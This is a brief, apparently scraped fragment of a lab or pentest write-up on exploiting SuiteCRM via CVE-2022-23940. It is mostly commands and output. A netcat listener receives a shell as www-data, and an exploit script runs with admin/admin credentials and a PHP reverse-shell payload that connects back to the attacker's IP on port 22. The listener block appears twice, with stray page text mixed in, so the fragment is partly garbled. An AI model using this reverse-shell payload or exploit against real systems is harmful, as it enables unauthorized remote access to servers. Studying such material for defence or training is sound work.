SuiteCRM
Exploting SuiteCRM
└─$ nc -lnvp 22
listening on [any] 22 ...
connect to [192.168.45.188] from (UNKNOWN) [192.168.238.146] 46030
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-dataLast updated
Exploting SuiteCRM
└─$ nc -lnvp 22
listening on [any] 22 ...
connect to [192.168.45.188] from (UNKNOWN) [192.168.238.146] 46030
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-dataLast updated
┌──(pikey㉿kali)-[~/exploits/CVE-2022-23940]
└─$ ./exploit.py -u admin -p admin --payload "php -r '\$sock=fsockopen(\"192.168.45.188\", 22); exec(\"/bin/sh -i <&3 >&3 2>&3\");'" -h http://192.168.238.146/